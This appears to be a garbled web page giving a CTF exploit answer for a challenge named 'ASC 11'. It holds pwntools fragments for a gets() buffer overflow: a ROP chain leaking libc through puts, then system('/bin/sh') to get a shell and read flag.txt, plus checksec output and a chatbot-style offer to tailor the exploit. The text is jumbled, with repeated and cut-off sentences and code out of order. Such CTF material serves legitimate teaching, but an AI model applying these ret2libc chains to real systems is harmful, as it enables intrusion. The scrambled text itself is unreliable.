Asc 11: [exclusive]

Here’s a (likely referring to the 11th Allied Security CTF challenge, or a similar “ASC” CTF / wargame).

payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload)

payload2 = b'A'*offset + rop2.chain() p.sendlineafter(b'Input: ', payload2) asc 11

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge?

objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc. Here’s a (likely referring to the 11th Allied

asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior:

void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable Does this match your ASC 11 challenge

leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts'] log.success(f'Libc base: hex(libc.address)') rop2 = ROP(libc) rop2.system(next(libc.search(b'/bin/sh')))